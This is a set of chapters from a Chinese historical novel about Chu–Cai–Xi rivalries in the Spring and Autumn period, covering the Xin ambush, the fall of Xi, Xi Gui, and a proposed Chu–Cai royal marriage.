古代以臣会君称为聘。右军元帅斗谷於兔笑道:“大王威震中原,息使必来请盟!”
“传息使!”楚文王忧郁的脸上露出一丝笑意。
身材高大强壮的姬梁左手持符节,右手持国书,脸色沉重地稳步走向大殿,见殿上头戴王冠的楚王斜坐在王位上,似乎有些精神萎靡。王冠上那十二根熠熠闪光的冕旒,遮住了他的面容。但他能感到,楚王年纪并不大,且随性而平和。便上前施礼道:“息使姬梁奉寡君之命,拜见楚王!”
楚文王也不兜圈子,问道:“贵使聘楚,可有要事?”
“寡君仰上国虎威,特来请盟!”
文王一听,微微一笑,说道:“果如子文所料!息侯因何与我结盟?”周朝以礼仪为先,称呼别人都不直呼姓名,而是称字。斗谷於兔字子文。
“为报蔡侯之辱!”姬梁把息妫受辱之事告诉了楚文王。
楚人自从被商人追杀南逃至今,已历千年,过去的夏朝贵胄,早已沦为南方蛮夷,蜗居丹阳偏僻之地数百年。今虽征服南方的越人、三苗和百濮,又占领了江汉平原,但南蛮的自卑之心依然还在,对中原的向往、崇拜根深蒂固,更渴望得到中原诸侯的认可,故从不拒绝他们的请求。但是楚、蔡无怨无仇,凭什么去攻打蔡国呢?
“楚蔡素无嫌隙,出师何名?”楚文王似乎打不起精神。
“大王可举兵伐我,我再向蔡求救。蔡必救我!待蔡侯出兵,大王可伏而击之!”息国早就定好了报复之计。
楚文王与众重臣都面面相觑!息囯这样做,实在太卑鄙了!楚虽是南蛮,但却是祝融之裔,怎能与这样的诸侯为伍?楚国君臣都沉默不语。楚文王说道:“上卿暂入国馆稍息,待我与众臣商议,必然有复。”
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“蔡侯无礼,息侯更加无礼!中原果然礼崩乐坏也!”莫敖屈重叹道。
“蔡侯无礼在先,当伐之!”令尹子元是楚文王的弟弟,鼓动哥哥出兵。
“此为天赐北伐良机也!”斗谷於兔更是急不可奈。
楚文王说道:“息使求盟,拒之不恭。令尹择日与息使筑坛结盟。莫敖厉兵秣马,举兵伐蔡!”
“谨遵王命!”三人同声说道。
公元前684年秋天,屈重统帅楚国大军,浩浩荡荡向东北进发。屈重是楚文王的叔伯弟弟,他的父亲叫屈瑕,是楚文王的叔叔,武王的同胞弟弟,深受武王倚重,授以莫敖之位。莫敖是楚国方言,即三军统帅。屈瑕因屡立战功,被分封到屈地,从此以屈为氏。因此,屈瑕是屈氏的始祖。但屈瑕在征服汉水流域的最后一仗中,兵败自刎。武王痛心疾首,让屈重继承父亲莫敖之位。
大军浩浩荡荡到达息国边境,摆出攻城的架势,扬言要剿灭息国。息侯立即派人十万火急到蔡国求救!
同姓之盟,连襟之亲,唇亡齿寒!蔡季接到息国的求救,立即率兵南下。屈重见蔡国上当,便令斗谷於兔率右军围住息国,自己率中军悄悄绕到蔡军背后,在蔡、息之间的莘地(今河南驻马店市汝南县)埋伏下来。
当蔡季的军队临近息国时,楚右军元帅斗谷於兔突然回马杀来!蔡军大惊失色,仓惶应战。蔡军人仰马翻,弃尸累累,赶紧冲至息城北门前,大叫开门,可息国无人理睬。献舞感觉不对,挥军拚死北撤,走不多久,埋伏在莘地的屈重中军突然出现!与斗谷於兔的右军前后夹击,蔡军土崩瓦解!蔡哀侯被俘,蔡军不是战死就是投降,几乎全军覆灭。
蔡哀侯从此囚禁在楚国,姬肸被众臣拥戴为君。三年后,楚文王亲率大军,攻陷蔡国,姬肸为救父救国,被迫与楚缔结城下之盟,从此成为楚的附庸国。
蔡国从此一蹶不振,不是担心齐国来伐,就是担心被楚灭国。但楚文王也不敢灭蔡。因为天下诸侯半姓姬,若灭掉蔡国,不但姬姓的天子不会罢休,姬姓的诸侯更会群起来攻,楚将引火烧身。
可蔡国的日子更加艰难,齐桓公休妻,齐国巴结不上了,两面讨好的国策不行了,唯一的出路就是投靠楚国了!
楚国!楚国!姬肸的心中早已千番挣扎,无论他愿还是不愿,楚国的影子象蛇一样时时将他缠住,无法摆脱!细细一想,父亲一步走错,蔡国步步都错!难怪母亲临终都不能原谅他!
他主意已定,决定孝满以后亲自去楚国,觐见楚王。
第5章 倾城倾国的女人
按周礼,诸侯父母去世,儿子须居庐守孝七个月。公元前657年秋天,蔡穆侯孝满回宫,与妻子姜姬商讨访问楚国事宜,他忧心忡忡地说道:“楚国先王驾崩,新王临朝十三年矣!再不入朝觐见,恐遭讨伐也。”
“夫君多年不朝,不知楚廷详情,如何应对?”夫人也顾虑重重。
“今日楚国,由熊、斗、屈、蔿四大家族执宰,小妹任嫁一族,皆为幸也。”
“此四族权势如何?”
“楚谚有云:熊氏称王,斗氏如狼,屈为麒麟,蔿氏属羊。”
夫人想了想,说道:“如此说来,嫁与斗氏与屈氏最为合适。”
姬肸点点头:“今日楚堂,斗谷於兔为令尹,执掌朝政;屈完为莫敖,手握兵权,为楚王之左膀右臂,言听计从!若小妹嫁与其中一门,我无忧矣!”姬肸分析道。
“闻那斗谷於兔年近八十,屈完虽是屈重之子,年龄也不小了,如何与嫁?”夫人姜姬是许国公主,大脸大嘴,性格直爽。
“夫人有所不知,斗谷於兔虽然年迈,然斗氏为楚国的第一大族,人材济济,若嫁与其弟,便是最好。”
“其弟何人?”
“斗谷於兔幼弟名得臣,字子玉,正值不惑之年,相貌堂堂。其文韬武略,无人能比——”他突然停住了。
“有何不妥?”
“只是斗氏气焰太盛,惟恐有咎也。”
“那就嫁与屈氏。”夫人也觉得屈氏稳妥可靠。
“嫁与屈完最为合适。虽然斗氏势力大于屈氏,然楚王更倚重屈氏,故令其掌管兵权。楚王表面器重斗氏,却内心倚靠屈氏,但遇大事,惟屈氏之意是听。”
“闻那楚王四世丰神俊朗,若与联姻,岂不更美?”姜姬笑道。
姬肸垂首摇头,说道“新王承位,寡人未曾朝贺!料他年青气盛,必不愿娶再嫁之身!不可心存妄念。”
“若要成就姻缘,夫君还须求助一人!”姜姬似乎比丈夫想得更深远。
“求助何人?”蔡穆侯迷惑地问道。
“夫君的姨娘,楚太后息妫!”
“息妫?”姬肸睁大眼睛,那个害得父亲生不如死的女人,让他心生厌恶!说道:“此女祸乱蔡国,不提也罢!”
“姨娘也是娘,她是楚王之母,大楚太后!看在母亲的份上,她必相助。”母亲的亲妹妹,岂有不帮外甥之理?
“不可!此人休得再提!”姬肸对这个姨妈厌恶之极。
公元前657年秋的一个大清早,天还未亮,蔡穆侯姬肸带着夫人登上华贵的金辂,装着大批金银玉器、中原织绣和蔡国特产的车队迤逦相随,前往楚国。
车队出发太早,姬肸睡意未消,他迷迷糊糊地睡着了。车队不知急驶了几个时辰,天完全亮了,突然听到有人挡住了去路。
“停车!停车!”
“车内何人?欲往何处?”
蔡穆侯一惊,赶紧撩开车帘前看,远远看见一群兵卒站在路口,挡住了开路的戎辂。
“蔡侯前去郢(ying影)都,路过此地。敢问此为何处?”蔡国卫队统领下车答道。
“此为楚国北界,息县之地!”
“原来已到楚国!此为通关文牒,将军查看!”卫队统领把一份皮制的蔡国文牒交给楚军的首领。
息县!息县!蔡穆侯远远听到楚军的话,心中感慨万千!千年息国,今已成为楚国的息县。那闭月羞花的息妫,早已是楚人之妻!那息侯当年联合楚国算计蔡国,现在却落得国破家亡。这是天帝的旨意,还是命运的报应?
“息县可是往日息国?”妻子姜姬也感慨地问道。
“正是!”姬肸答道,但似乎不愿多说。
“息国因何而亡?何时归于楚囯?”姜姬又提出了蔡人讳莫如深的话题。
十七年过去了!蔡人对息国灭亡闭口不提,因为那是蔡哀侯故意挑唆楚人造成的,那,也是蔡人的伤痛和耻辱。但妻子负有协助他与楚结亲的使命,姬肸有义务告诉她……
莘地战败,蔡季囚于楚囯,深感**。他高大、魁武,既有非凡的胆略,更有振兴蔡国的雄心。从小就深受哥哥蔡桓侯的器重,长大以后,委以卿相之位。兄弟俩共同立志,
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要振兴蔡囯,称霸南方。
哥哥蔡桓侯名封人,也是胸怀韬略,志向远大之人。为了与陈国结盟,他一登位,便把妹妹嫁给了陈国国君陈桓公,不久生下一子,取名跃。兄弟俩便暗中筹划,想促使陈桓公立外甥公子跃为君。
可不久,陈桓公被弟弟妫陀杀害,妫陀自立为君。蔡桓公大怒,令献舞前往陈国,一定要废掉妫陀,重立外甥公子跃。
那个篡位的妫陀,荒淫无度,好猎成瘾,陈国百姓及邻国诸侯尽知。公元前706年八月,他上位不到一年,自以为君位已定,便南出国都宛丘,到山中打猎。献舞闻讯,感到时机到了!便带着一队精干武士扮作猎人,潜入南山。
妫陀的猎队打到蔡国边境,见鹿、獐、麂、猪等野兽越来越多,便纵马追捕。可追不多远,只见四周黑衣黑帽的捕猎者越来越多,且一个个身强力壮,**娴熟。这些人不断向妫陀靠近,等他反应过来时,那些猎人一齐猛扑过来,将他抓住。
献舞高声说道:“我乃蔡侯之弟蔡季,奉君兄之命来诛弑君之贼!罪在逆陀一人,余皆不究。若有助逆者,与陀同罪!”
妫陀弑君,军人们早就不满,现又带着他们日夜狩猎,更是心生怨恨。见蔡侯除逆,人数众多,便一个个俯首听命。
蔡季一刀将妫陀的人头砍下,说道:“桓公之子妫跃,仁德恭顺,为我蔡侯之甥。若立而为君,则陈、蔡邻上加亲,和睦与共,众将士意下如何?”
“愿奉公子跃为君,请将军入都!”
蔡季大喜,令陈军为前导,驱车下山,将妫陀的人头悬挂在车辕之上。一路进入陈国首都宛丘,拥立公子跃为君。他,就是陈厉公。
献舞在兄弟中排行第三,故名蔡季。他从此留在陈国,辅佐外甥执政,自己也娶陈国公主为妻。稳定陈国后,他又以蔡、陈二国之势,逼迫许国加盟。蔡国之势,日益强大。可就在这时,哥哥蔡桓侯突然去世了。临终前,他急召献舞回国,委以君权,令他完成蔡国的称霸大业。(欲知后亊如何,且听下回分解)
第5章 倾城倾国的女人(2)
蔡季回国,继承了哥哥的君位,史称蔡哀侯。他实施了一系列强国富民的国政,使蔡国日益强大。可他在位的第十一年,却遇到了那个倾国倾城的息妫。红颜一劫,沦为楚囚。他的命运惨遭逆转,从此霸业成空!心中悲痛万分,夜不能眠,日夜左思右想:蔡、楚从无恩怨,为什么楚国会出兵?为什么息侯求救,又不开城门?
他一定要把原因弄清楚。
他首先前去拜访莫敖屈重,他是三军主帅,肯定清楚出兵的原因。
这天晚上,他来到若敖府,求见屈重。
屈重听说蔡侯求见,赶紧出门来迎,说道:“蔡侯贵步,如何下临茅舍?”
献舞没好气地说道:“败国之囚,特来拜见大楚莫敖!”
屈重听言见状,感觉不对,问道:“君侯衣食可全?卧寝可安?可是有人难为君侯?”
献舞摇摇头,说道:“非也!”
两个身材高大的人并肩进屋,在一个木制髹漆的案前相对而坐。屈重宽慰道:“君侯屈居楚国,且宽心暂住,我王必送君侯回国!”
蔡季见屈重眉宇俊朗,面容和蔼,言辞有礼,便壮胆责道:“久闻楚人耿直无欺,莘地一战,方知尽为虚传!楚、蔡素无仇怨,楚国为何伐我?楚为大国,却设伏而战,无礼也!”
周朝是礼制国家,战争也有礼制。两国交战,须双方摆好阵势,方可出兵。如果对方阵型未整,你也不能进攻。伏击别人,更是违礼。
屈重一听,原来蔡侯是为莘地之战而来,便笑着说道:“此乃息侯所求。楚、息为盟,不可辞也!”
蔡季一听,果不出自己所料,愤然说道:“息侯置同姓之亲,同盟之谊而不顾,乃霄小之人也!楚国因何与之为盟?”
“皆因君侯轻薄其妻,息侯誓报此仇,方出此下策。楚无奈相助也!”
献舞沉默不言。他知道,是自己犯错在先,埋怨还有什么意义?便感慨地说道:“非蔡季为轻薄之人,那息妫之美,令人心动难制也!”
事情已经过去,屈重为宽慰他,笑道:“君侯与大王一样,皆为性情之人!”
“楚王也曾有此一遇?”
屈重止住笑意,缓缓说道:“前年巳日,大王云梦春蒐,恰遇上巳节,在众人之中,偶遇一绝色女子,便与之对歌。两人情窦互生,难分难舍。大王真情之下,说出自己的身份。可那女子是权国公室之女,名丹姬。权国为楚所灭,丹姬耿耿于怀,不愿回楚宫为妃。大王便与她浪迹云梦数月,险遭宫廷之变!”
献舞大吃一惊,问道:“后来如何?”
“后来丹姬为大王真情感动,随之回宫。却遇大王之师保申。保申见大王为一女子弃国不顾,外出数月,认定丹姬便是乱国的妲己,欲以王剑诛杀。此剑为武王临终前所授,上可斩君,下可诛臣。大王苦苦求情,保申心软,便将其逐出国都,发誓再见必诛。那丹姬逃出国都,从此再无音讯。大王自此性情忧郁,喜怒无常。”
“那丹姬容貌如何?莫敖可曾一见?”
“大王将丹姬领回宫时,某曾一睹芳容。面如桃花,腰如杨柳。风姿绰约,仪态娇媚。息妫之美,不能比也!”
“莫敖差矣!息妫之美,倾国倾城,风情万种,为世间绝无仅有。莫敖若见,必念念不舍!”
“世间竟有如此美人?”屈重认定他是为文过饰非而夸大其辞,立即笑了起来:“难怪君侯不能自制!红颜祸水,果然不差!”
一下又点到献舞的痛处,他低下头,不知如何回答。
回到寝屋,蔡季更加不能入睡。息妫的面容不断在他眼前出现。听屈重所言,那丹姬与息妫确有几分相似啊!他的脑中突然闪出一个念头:如果楚王见了息妫,他会怎么样?
都说楚王近来性情忧郁,必然在怀念丹姬!如果见了息妫,他会放过她吗?楚人历来有抢亲的习俗,如果楚王将她抢来,那息侯的末日也就到了!他突然如梦方醒,决心报仇!
这天,他来到楚宫,求见文王。文王本来对他的轻薄之举嗤之以鼻。更何況,为了这个蔡侯,引起他和卫队统领产生争执,差一点要了自己的命——
原来,莘地之战,屈重将被俘的蔡季带回郢都,文王就安排了一口大油锅,要将他烹煮而死。他推了推头上的獬豕帽,对蔡季说道:“尔妄杀陈侯,**息妫,罪在不赦!吾必烹汝!”
谁知他身边的贴身护卫、虎贲统领鬻(yù喻)拳立即谏道:“大王,不可!”
“为何?”文王问道。
“蔡侯杀陈佗,是为陈国平乱,乃义举也!**息妫,罪不至死,今已被囚,可饶他一命,以彰大王之德!”
“不可!”文王说道:“蔡人岂可擅杀陈国之君?立其甥为君,私也!**息妫,淫也!二罪相加,不可赦也!”事实上,文王想以此震摄中原诸侯。
“楚欲北进,须守中原之礼!若杀蔡侯,则中原皆视楚为蛮夷也!断不可杀!”鬻拳据理力争!
文王一听就火了,说道:“此等霄小之人,留之何用?推下去,烹了!”
“且慢!”鬻拳更犟,抽出佩剑指着文王的脑袋,说道:“欲杀蔡侯,拳必与王同归于尽!”
屈重和众将大惊失色,一齐上来劝和。鬻拳不听,说道:“楚无杀俘之例,况国君乎?大王烹蔡侯,必自绝中原,诸侯必群起抗楚也!”
文王心想,这个狗奴才说得出便做得到,说不定他真会一剑砍掉自己的脑袋!只好让步:“就依爱卿之言,饶他一命!”说完恼怒地望了他一眼。
鬻拳收剑,伏地求死,说道:“臣以下犯上,当领死罪,请加身斧钺!”楚文王本来满腹怒气,见他知错,又消了一大半,说道:“卿忠心为楚,其情可免,且请平身。”鬻拳不起来,大声说道:“王虽赦臣,然臣亵渎王威,岂能自赦?”说着挥剑将自己的右腿砍断!众人惊叫之时,他又一剑将左腿砍断!双腿血流如注,依然全身颤抖着说道:“臣甘受刖刑,以儆效尤也!”说完就昏过去了。文王长叹一声,令众军士赶紧抬去医治。鬻拳失去双腿,不能再统领两广。楚文王便令他担任郢都大阍(hūn昏)。阍,就是看门人。郢都大阍,即首都警备司令,尊称太伯。
是鬻拳用自己的两条腿换了蔡季一命,使楚文王失去了自己最贴心的卫士,文王至今耿耿于怀,怎么会见他?他便在宫门外苦求三天。文王无可奈何,只好召见。他一入殿,文王便板着面孔问道:“蔡侯执意求见,所为何事?”
“禀大王,蔡季虽兵败受掳,然蔡为周室亲支,南方大国。若楚蔡结盟,陈、许必从,大王定可号令中原诸侯!”
楚文王不屑地说道:“汝虽周室亲支,却为好色之徒,那息侯恨不能啖汝之肉,何以号令诸侯?”
献舞说道:“大王在上,蔡季并非好色无礼之徒!惟愿尽地主之谊,款待夫人之妹
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。怎料那息妫美艳绝伦,风华絶代,方失去分寸!此女世所罕见,大王若睹玉容,亦不能自持也!”
文王一下好奇起来,问道:“息妫如何美艳?”
“那息妫面若桃花,大眼荡波,红唇白齿,风情无限。见者无不动心!”
“世间竟有如此美人?若所言不实,定不轻饶!”文王不相信有人比他的梦中情人丹姬更美。
“若言有虚,甘受极刑!”献舞说道。
世上真有如此绝色美女吗?依他所说,与丹姬何等相似!楚文王那颗刚刚平息的心。又起波澜!
他决定去息国亲自看看!见见那息妫到底有多美!
公元前683年春天,楚文王令斗谷於兔的右军护驾北巡,直达息国。刚至息境,息侯率群臣出城郊迎,引进城内,安排国馆夜宿,并于国宫正殿大摆宴席,殷勤款待楚王。
大殿内,息国群臣毕至,文王坐于君位之上,息侯站立在右,斗谷於兔站立在左。息侯与众臣敬酒,文王回敬,如此三巡后,文王笑着对息侯说道:“夫人受辱,不谷曾效微劳,可否请出同饮一尊?”
息侯一听,立即令内侍前去请夫人。
不久,宫门开处,一个艳如桃花,风姿绰约的女人款款而出。她一袭粉红绣罗长衫,显出婀娜的腰肢。圆润的瓜子脸上,雪白的肌肤一片绯红,那乌黑的大眼,波光荡漾,幽深迷幻,那天然的羞态,说不出的娇美动人;楚文王傻了,呆了,望着她一步步走近,自己仿佛一点点溶化,溶入她的身体之中。走到面前,见那微翘的鼻梁,如天工细雕;而那紧抿的嘴唇,又情态怜人。那丰满而又妖冶的腰身,端庄而又性感的步态,让楚文王神魂颠倒,怦然心悸,楚文王失声喊道:“丹姬——”
息妫上前,低眉曲腰,柔声说道:“童子谨拜楚王殿下!”
楚文王惊慌回礼:“夫人贤淑有礼,熊赀幸暏玉容也。”
息妫从侍女手中接过酒爵,双手捧起献给文王:“大王远涉辛劳,请以薄酒洗尘。”
文王接酒,一饮而尽,息妫又敬。连敬三杯之后,息妫后退,文王见她要走,仿佛看到丹姬离去的身影,顿时柔情满怀,依依不舍,说道:“夫人玉容,似曾相识!可否共饮一樽?”
息妫无奈,过来又与文王对饮。文王兴起,说道:“再饮一樽!”
息侯已有献舞的前车之鉴,立即上前说道:“箕帚无量,寡人陪大王同饮。”说着想推开夫人。
楚文王酒力正盛,伸出左手拉住息妫,贴近一见,那芬芳的气韵,美丽的光熖,让他全身颤动,他语无伦次地说道:“夫人,与丹姬,何其相似!”
息侯见楚王失态,用力强行拉息妫离开。楚文王一掌将他推开,怒道:“役夫!此乃不谷之妃也!汝外不能御敌护国,内不能护妻荫子!怎堪配此美人?徒为他人所侮也!来人,且将擒下!”
守护在门口的两广虎贲闻令冲了进来,将息侯绑住押了出去。满廷文武大惊失色,姬梁急急上前,带领众臣一齐下跪求饶:“请大王饶恕寡君!”文王酒性冲动,指着他们说道:“尽皆带走,一个不留!”
柔弱的息妫吓得口瞪目呆,摇身要倒。文王将她扶住抱起,走出息宫,放进玉辂之中,扬长而去。
千年息国就此灭亡,成为楚国的息县。楚文王把息侯和息囯公族迁至汝水之畔,封邑建庙,使其能祭祀先祖。(欲知后亊如何,且听下回分解)
第6章 楚蔡联姻
明媚的阳光照耀在漳河之上,河畔的广阔原野上,满眼金灿灿的稻穗随风摇荡。正是收割的季节,一队队壮汉挑着一担担谷穗,稳步在田埂上急行。姜姬撩开车帘,久久眺望,感慨道:“果然遍地稻谷,楚国又是一个丰收年!”
姬肸也探头来望,一个秀丽的村庄出现在眼前,村前的坪地上,正在打谷。只见一排女人高高举起梿枷,让那梿杆尽头的梿板在空中一齐转动,又一齐打在地上的谷穗上,动作那么齐整而协条,让两人看得目不转睛。
就在这时,一阵男歌声不知从何处飘来:
“嗨哟儿哟,嗨哟哟,
谷儿圆兮穗儿黄,
穂儿黄,稻儿黄,
谷儿搂着穗儿长。
穗儿长兮,穗儿长。
何人梿枷高高举,
高高举兮,高高举,
打得亲亲两离散。
两离散兮两离散。
嗨哟儿哟兮,两离散——
两人远远寻找,原来唱歌的是一群卸下稻穗的挑夫。姜姬忍不住笑道:“楚人善歌舞也!”可车队滚滚向前,村庄和男女们都流向身后,正在失望之时,优美的女声又传了过来。
“嗨哟儿哟,嗨哟哟,
谷儿圆兮穗儿黄,
穗儿黄,穗儿黄,
谷儿脱粒穗不放。
穗不放兮,穗不放,
嗨哟儿哟兮,嗨哟哟,
举起梿枷狠狠打,
狠狠打兮,狠狠打,
打得穗儿空皮囊。
空皮囊兮,空皮囊。
嗨哟儿哟兮,
空皮囊——
歌声渐渐飘远,只见一座壮丽的城郭展现在眼前,越来越近,越来越清晰。姜姬兴奋地说道:“郢都王城,就在前方!”
远眺前方的楚国都城,高大的城墙蜿蜒在宽阔的护城河之边。远远看见西门,高大的城门之上,是髹漆绘彩的三层城阁,盔甲锃亮的将士,站立城楼之上,俯视前方。城墙之内,楼阁隐隐,亭榭连绵,透露出城市的富丽繁华。
“果然是南国之都,人言楚国富强,定然不虚!”姜姬感叹道。
“此城为楚文王所建!不过二十余年,惜文王已逝!今日不能再见也!”蔡穆侯没见过楚文王,总以为遗憾。
“新王不知性情如何?”夫人不放心地问道。
“人传新王气量高雅,有求必应!”
“既如此,大事可成也!”
车队进入南门,沿着一条宽阔的大街南进。这是以王宫为中心的中轴线,名叫皇道。皇道两旁,商铺酒肆,茶楼会馆鳞次栉比。车行不久,与一条东西贯通的大道交会。穿过大道,只见一座高大绵长的红墙出现在眼前。越过红墙,可见亭台楼阁在空中蜿延起伏,那是城中之城!大家心中一喜,楚宫到了。
高大的红墙,耸立着五座宫门,正对大道的是巍峨的中门。中门紧闭,可右扇门上却开着一扇小门。守门将士看到蔡国将军递交的文牒,知道蔡侯驾到,立即打开中门。
进入中门,是一片宽阔的庭院。庭院的右边是祖庙,左边是神社。而前方又是一座宫门,名叫茅门。茅门用石英石、大理石、花岗石等各种名贵彩石垒砌而成,峥嵘而高贵。宽敞的茅门,却是车马的禁区,任何人车至茅门,必须下车步行入内。楚宫卫士引导车队在庭院停下,然后带领蔡侯步入茅门。
进入茅门,一座富丽堂皇的宫殿耸立眼前,让蔡穆侯望而却步。
宫殿之上,无数凌空的红色飞檐雕成惟妙惟肖的凤、虺、鹤、雀等各种形状,向天昂首展翅。重叠三层,形成一个气势恢弘的飞檐群雕,耸立在夕阳之中。蔡穆侯见所未见,那飞檐之下,青绿两色的斗拱层层叠叠,与飞檐上下勾连,相映成势,构成眼花撩乱的王宫顶部结构。
宫殿采用抬梁式结构,最下一层的斗拱,立于五彩的横梁之上。蔡穆侯走近细看,只见横梁的外表,雕龙在云海中翱游,绘凤在花草间闪翅,雕工细腻,图色浪漫,如腰间缠绕着一条美丽的腰带,壮观而秀丽。
横梁之下,是十二根巨大的廊柱,竖立在走廊之上,既承受着飞檐斗拱的巨大压力,又展示王宫的威严气势。蔡穆侯沿白色大理石砌成的台阶拾级而上,只见宫殿正门左右的两根廊柱上,左边的廊柱彩凤环抱如生,凤首向右;右边的廊柱飞龙缠绕向上,龙头向左;蔡穆侯从龙凤廊柱之间穿过,走到宫门前,又见两只黄色的千斤铜鼎镇守在大门两边。守门的虎贲将士见到蔡侯,立即进殿通报。
不久,只听大殿内的值守廷尉喊道:“有请蔡侯!”有廷尉应声出来,说道:“大王有请!”
蔡穆侯整衣正冠,急忙入殿。宽阔的殿堂内,可容百人。正面王座的背景墙上,是一幅巨大的百鸟朝凤漆木浮雕图,火红的凤凰,昂首展翅,它的面前,天高云低,一群群各色飞鸟上下翔舞,使全图气势恢弘壮丽。殿堂的另外两面墙上,都有深红色的漆木彩图,使整个宫殿庄重而浪漫。
楚国大臣得知蔡侯要来,都在大殿中间分左右两排站立等候。斗谷於兔站在左排的首位。比他年轻的屈完站在右排的最前端。蔡穆侯从两排朝臣中穿过,走向王座,向楚成王施礼。
年轻的楚成王熊恽头戴十二冕旒(liú流)的深红色王冠,每根冕旒串以朱、白、苍、黄、玄五色玉石,遮住了他的脸。也暗示着君王的神密。在中原,冕旒还有一个作用,即蔽明。寓意君王不要把人看得太清楚。他身穿绣有十二种章纹的深红色衮袍,这是大周王朝至高无上的章纹,即日、月、星辰、群山、龙、凤、彝、藻、火、粉米、黼[fǔ]和黻fú]。中原诸侯都认为这是僭越,但楚王自认也是王,他们不管那么多,要与周王平起平坐。
“小侯姬肸拜见大王!”蔡穆侯走到前排,神情紧张地躬身施礼道。
楚成王却
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兴奋地从王位上站了起来,张开双臂,说道:“哈哈,天下诸侯,唯蔡最亲!”
声音清脆而爽朗。他干脆跳下座台,走向蔡穆侯,拉着他的双手笑道:“蔡侯风尘仆仆,必有大事!”
姬肸如沐春风。他心胸舒展,惭愧地说道:“大王登基有年,姬肸朝觐来迟也!”
“不谷忝承大位,还请君侯赐教!”楚成王年约二十岁左右,看得出他个子不高,但敦厚、结实,出言有礼有节。
“大王谦逊有礼,乃中原之福也!”
蔡穆侯趁楚王回座之时,转身向左,对身边个子高大的老者施礼道:“长者莫非令尹子文乎?”
“在下斗谷於兔,见过蔡侯!”子文也躬身回礼。年近八十的他,竟然没有一根白发。他宽大的方脸之上,鼻梁肥硕而圆润,那禇黄色的大眼,格外有神,给人健壮强大之感。脸上可见一道道若隐若现的线纹,十分奇特。
“大人可是大楚若敖?”蔡穆侯又转向右边,躬身问道。
“蔡侯有礼,屈完见过蔡侯!”屈完比子文年轻得多,他修长的身材,长型的脸庞之上,颧骨高耸,鼻梁秀长。一双大眼清澈明亮,显得高贵而优雅。
“蔡侯好眼力,一眼就认出我大楚令尹与若敖。”楚成王坐在王位上笑着说道。
“久闻其名,今日一见,足慰平生之愿也!”蔡穆侯想与二位楚国上卿攀亲,故先要巴结一下二人。
“蔡侯何事,尽管道来。”楚成王又说道。
蔡穆侯觉得时机到了,他脸色一变,现出一副可怜相,哀声说道:“蔡国受辱,请大王作主!”
“何事?”
“我有一妹,正值二八年华,嫁与齐侯。可两人一语不合,小妹便遭休弃,受辱回国!可怜小妹天姿国色,经此一辱,再也无颜活在世上!请大王作主!”
“堂堂中原方伯,竟如此狭隘无礼!”楚成王鄙夷地说道。
“齐侯辱我,意在羞楚!”蔡穆侯要把楚国和自己绑在一起。
楚成王点点头,似乎明白了什么,可他不知怎样插手。自己还没成亲,怎么管别人的婚姻?他一屁股坐回王座上,脸色茫然地说道:“此乃君侯家事,不谷如何作主?”
斗谷於兔听出了蔡穆侯的弦外之音,他不动声色地笑着说道:“蔡侯欲与大楚结亲也!”
大家一听,都会心地笑了起来。
可屈完却眉头紧皱。子文这是在怂恿大王娶那蔡姬啊!齐桓公怎会罢休?这不是把楚国往火坑里推吗?不行!不能让他把楚国拖入战争的泥潭,便急着说道:“大王不可!公主乃齐侯之妻,我欲夺之,是无礼也!”
“蔡侯有求,却之不恭也!”子文反驳道。剽悍的斗氏就是要抢齐桓公的老婆。
两位重臣意见相左,群臣都沉默了。但明白人都知道,这个蔡妃就是个祸水,若嫁到楚国,必然引来漫天烽火啊!(未完待续,下节更精彩
第7章 楚蔡联姻(2)
“若楚、蔡盟上加亲,必为中原美谈!”说话的就是相貌英俊的中军元帅成得臣,他是子文的弟弟,兄弟俩可谓是一条心。
蔡穆侯一听,感到机会来了,立即说道:“盟上加亲,平生之愿也。”
楚人做梦都想娶中原公主。熊恽难抑心中之情,急忙问道:“蔡侯相中何人?”
姬肸见楚王如此耿直,便壮胆说道:“舍妹曾言,非楚王不嫁!”
熊恽一听,想都不想,豪气地说道:“不谷愿与君侯结百年之好——”
“敢问蔡侯,齐侯可有休书?”心急的屈完竟然打断了楚王的话。
“无有也!”
“大王,齐侯无休书,若娶公主,是夺人之妻,羞辱齐侯也!齐人岂肯罢休?此事万万不可!”屈完急了。
“夺妻又有何妨?齐侯能奈我何?”抢亲之事楚国到处都有,大王的母亲不也是先王抢过来的吗?身高如塔的左军元帅斗宜申说的是硬实力。
“子西言之有理,齐侯辱蔡在先,我有何惧?”斗宜申字子西,中军元帅成得臣更想与齐人扳扳手腕。
可斗谷於兔却突感不妙。如蔡姬嫁给斗氏之人,斗氏必名扬中原,齐桓公也将左右为难。但,若嫁大王,则为不妥,恐惹大战啊!他立即说道:“大王,兹事体大,不必操切也。”
蔡穆侯见子文也犹豫了,立即说道:“我蔡国受辱,求告无门,楚若不助,我何以堪?”
蔡穆侯的话,点到了楚人的软肋。楚在中原就这么一个同盟国,
如果这点小事都帮不了,怎么当宗主国?中原其他国家还会投靠楚国吗?大家都不出声了。
上大夫蒍吕臣见状,上前说道:“大王,婚姻大事,还须与太后商确。”
楚成王主意已定,说道:“叔伯无须多虑,不谷自会请示母后。”
蒍吕臣字叔伯,三十岁左右,中等个头,身材肥胖。见大王不听,又谏道:“若敖之言有理,大王三思。”
“叔伯速备彩礼,不日送往蔡国纳采,问得公主名字与生辰八字占卜吉凶。”楚成王不想再辨,便下令道。
“臣遵命!”蒍吕臣也只好受命。
“无须前往敝国,拙荆已随寡人来郢,生辰八字问她即可!”蔡穆侯已经看出屈完不愿楚王娶妹妹,子文也在犹豫,怕夜长梦多,便把夫人推了出来。在彼时,拙荆和箕帚都是妻子的贱称。
“夫人与君侯同来?”楚成王一听,高兴地问道:“现在何处?”
“就在茅门之外!”
“速传蔡夫人入殿!”楚成王就像着了魔,恨不得现在就将蔡妃娶过来。
内侍立即出去传令。屈完觉得这样实在不妥,说道:“大王何乃太急!纳采、问名、纳吉、纳币、请期、迎娶,六礼不可草率!不然,恐有不吉!”
但此时已经晚了!楚成王说道:“无妨!六礼不废,也无须太慢!”
屈完转头望了望子文,希望他不要恃勇好斗。可子文也没有办法了。
不久,姜姬进殿,走到王座前,两手相握,垂于左腋,屈身施礼道:“老妇见过大王!”
楚成王立即站了起来,说道:“蔡夫人无须大礼,可知公主生辰八字?”
“禀大王,”蔡夫人站起来说道:“公主生于周僖王六年正月初六辰时。”
楚成王说道:“与不谷春秋差五,叔伯交与国巫验之。”
蔡夫人立即顺着竿子往上爬:“托大王鸿福,舍妹若为箕帚,必然多子多福!保大楚国祚兴旺!”
楚成王大喜,众臣不好再说。天色已晚,一个个心事重重地离宫回家去了。
